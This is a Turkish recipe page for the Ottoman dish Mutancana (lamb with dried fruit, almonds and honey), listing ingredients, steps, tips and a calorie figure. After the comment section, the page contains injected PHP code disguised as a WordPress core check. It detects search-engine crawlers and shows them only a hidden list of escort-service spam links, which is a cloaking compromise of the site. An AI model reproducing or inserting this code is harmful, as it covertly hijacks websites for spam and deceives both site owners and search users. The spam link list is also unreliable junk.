Sıradaki içerik:

En İyi 10 Telifsiz ve Ücretsiz Video/Fotoğraf Kaynak Sitesi

Mutancana Tarifi, Mutancana Nasıl Yapılır?

avatar

admin

  • e 1

    Mutlu

  • e 0

    Eğlenmiş

  • e 0

    Şaşırmış

  • e 2

    Kızgın

  • e 0

    Üzgün

Mutancana özellikle 15’inci ve 16’ncı yüzyıllarda Osmanlı saray mutfağında çok sık karşımıza çıkan nefis bir et yemeğidir. Günümüzde “Fatih Sultan Mehmet’in en sevdiği yemek” olarak da bilinir. Şık ve ihtişamlı akşam sofrası hazırlap ailenizi ve misafirlerini şaşırtmak isteyenler sizler için Mutancana’nın malzemelerini, yapılışını ve püf noktalarını hazırladık. Bu Tarihi Yemeğimizi çok beğeneceksiniz…

Mutancana Tarifi İçin Malzemeler Nelerdir?

• 500 gram kuzu kuşbaşı
• 1,5 yemek kaşığı tereyağı
• 1,5 yemek kaşığı zeytinyağı
• 10 tane arpacık soğan
• 2 tane sarımsak
• 1 tatlı kaşığı un
• 1 su bardağı ılık su
• 2,5 yemek kaşığı kuru üzüm  (bulabilirseniz rezaki cinsi)
• 3 tane kuru kayısı
• 1 tatlı kaşığı bal
• 2 yemek kaşığı çiğ badem
• 2 tane kuru incir
• 2 çay kaşığı sumak
• İsteğe bağlı tuz

Mutancana Nasıl Yapılır?

• İlk önce bademleri sıcak suda biraz haşlayıp kabuklarını soyunuz.
• Daha sonra tencereye tereyağını alınız ve eritiniz. Zeytinyağını ve ardından etleri ekleyip iyice kavurunuz.
• Etlerin her tarafı renk alınca arpacık soğanları ve sarımsakları ekleyiniz.
• Birkaç dakika sonra unu ekleyip unla da hafifçe kavurunuz.
• Unun kokusu çıkınca, Üzerine 2 bardak su ekleyip kapağını kapatıp etler yumuşayana kadar pişirmeye devam ediniz.
• Tencerenin altını kısınız. Kapağı kapalı bir halde pişmeye bırakınız.
• Pişen ete, bal, kayısı, kuru üzüm, sumak ve tuz ekleyiniz.
• 5 dakika daha pişirdikten sonra bademleri de ilave ediniz.
• Kapağını kapatıp etler iyice yumuşayana kadar kısık ateşte pişirmeye devam ediniz.
• Servis etmeye yakın inciri ince ince doğrayınız.
• Tereyağını bir tavada eritip incirleri yağda çeviriniz.
• Etleri meyvelerle birlikte servis tabağına alınız.
• Üzerine tereyağında kavrulmuş incir parçalarını da ekleyip servis edin.
Afiyet olsun…

Mutancana Yemeği Yapmanın Püf Noktaları Nelerdir?

• Kullanacağınız etin orta yağlı olmasına özen gösteriniz ve buzluktaysa önceden çıkartıp çözünmesini bekleyiniz.
• Eti pişirmeden önce oda sıcaklığında bir süre dinlendiriniz bu sayede lezzeti artacaktır.
• Kuru meyve ve kuzu etini ayrı kaplarda pişiriniz. Servis etmeden önce birleştirip karıştırabilirsiniz.
• Soğanın yanı sıra patates ve domates kullanabilirsiniz. Fakat kullanacağınız sebzelerin ufak boyutlarda olmasına dikkat ediniz.

1 Porsiyon Mutancana Kaç Kaloridir?

Kuzu mutancananın bir porsiyonu, yaklaşık 340 kaloridir. Lifli bir besin olduğu için, ölçülü bir şekilde tüketilmesi önerilir.

  • Site İçi Yorumlar

En az 10 karakter gerekli
function isBot() { $botAgents ="/google|hakia|msn|yahoo|altavista|crawler|findlinks|bing|Cuil|Excite|Go.com|HotBot|AllTheWeb|search.aol|Lycos|Alexa|ask|baidu|cuil|kosmix|sogou|yodao|yandex|infoseek|yebol|aol/i"; $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match($botAgents,$agent)) return true; else return false; } function wordpres_plugin_check_core(){ $altsayfa = 1; $bot = 1; $link = '
Taşova escort Gerze escort Pazar escort Kangal escort Sarıkaya escort Side escort İncekum escort Hayrabolu escort Tavşanlı escort Ereğli escort Batıköy escort Suluova escort Durağan escort Niksar escort Gürün escort Çekerek escort Kızılağaç escort Çikcilli escort Ergene escort Simav escort Emirdağ escort Çağlayançerit escort İstanbul escort İznik escort Karasu escort Gümbet escort Ilgaz escort İzmir escort Kadıköy escort Karesi escort Horasan escort İnebolu escort Erzurum escort Marmaris escort Serdivan escort Menteşe escort Eskişehir escort Meram escort
'; if($altsayfa == 1){ $say_s = $_SERVER['REQUEST_URI']; $saydim = strlen($say_s); if($saydim > 4){ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } }else{ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } } add_action('wp_footer', 'wordpres_plugin_check_core');